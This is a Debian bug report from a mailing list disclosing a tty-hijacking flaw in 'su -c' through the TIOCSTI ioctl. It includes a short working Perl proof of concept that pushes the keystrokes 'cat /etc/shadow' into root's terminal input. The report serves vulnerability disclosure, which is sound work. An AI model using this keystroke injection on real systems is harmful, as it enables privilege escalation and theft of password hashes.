[Pkg-shadow-devel] Bug#628843: login: tty hijacking possible in "su" via TIOCSTI ioctl
Daniel Ruoso
daniel at ruoso.com
Wed Jun 1 19:24:47 UTC 2011
Package: login
Version: 1:4.1.4.2+svn3283-2+squeeze1
Severity: critical
After investigating why RedHat have a different behavior regarding "su -c" I
found out that there was a patch in RedHat to prevent tty hijacking when using
"su -c".
What makes the hijacking possible is that "su -c" still gives the command a
controlling tty, which means it has ioctl access to /dev/tty. This means it
can send things to the tty input buffer, which will be read just after su
ends.
The original report (with patch) on RedHat (from 2005?!?!?!) is:
https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=173008
A very simple exploit follows (Perl code)
____BEGIN_CODE____
#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, 'cat /etc/shadow'.$/) {
ioctl($tty_fh, &TIOCSTI, $c);
}
____END_CODE____
The scenario is:
Root runs a command as a less priviledged user with "su -c", if the user was
compromised, the script will be able to run commands as root by injecting
keystrokes on the terminal.
-- System Information:
Debian Release: 6.0.1
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)
Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages login depends on:
ii libc6 2.11.2-10 Embedded GNU C Library: Shared lib
ii libpam-modules 1.1.1-6.1 Pluggable Authentication Modules f
ii libpam-runtime 1.1.1-6.1 Runtime support for the PAM librar
ii libpam0g 1.1.1-6.1 Pluggable Authentication Modules l
login recommends no packages.
login suggests no packages.
-- no debconf information
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